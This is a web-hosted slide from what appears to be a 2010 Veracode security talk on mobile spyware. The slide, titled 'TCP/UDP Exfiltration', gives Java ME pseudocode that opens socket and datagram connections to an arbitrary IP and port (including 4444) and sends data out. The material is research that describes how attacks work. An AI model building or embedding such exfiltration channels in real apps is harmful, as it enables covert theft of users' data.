17.06.2015 Views

Mobile Spyware

Mobile Spyware

Mobile Spyware

SHOW MORE
SHOW LESS

You also want an ePaper? Increase the reach of your titles

YUMPU automatically turns print PDFs into web optimized ePapers that Google loves.

TCP/UDP Exfiltration<br />

• API<br />

– javax.microedition.io.StreamConnection<br />

– javax.microedition.io.DatagramConnection<br />

• Pseudocode<br />

conn =<br />

(StreamConnection)Connector.open("socket://"+this.ip+":"+this.port+";<br />

deviceside=true";);<br />

out = new OutputStreamWriter(conn.openOutputStream());<br />

out.write(msg, 0, length);<br />

conn =<br />

(DatagramConnection)Connector.open("udp://"+this.ip+":"+this.port+";4444");<br />

Datagram out = conn.newDatagram(buf, buf.length);<br />

out.setData(buf, 0, buf.length);<br />

conn.send(out);<br />

© 2010 Veracode, Inc. 44

Hooray! Your file is uploaded and ready to be published.

Saved successfully!

Ooh no, something went wrong!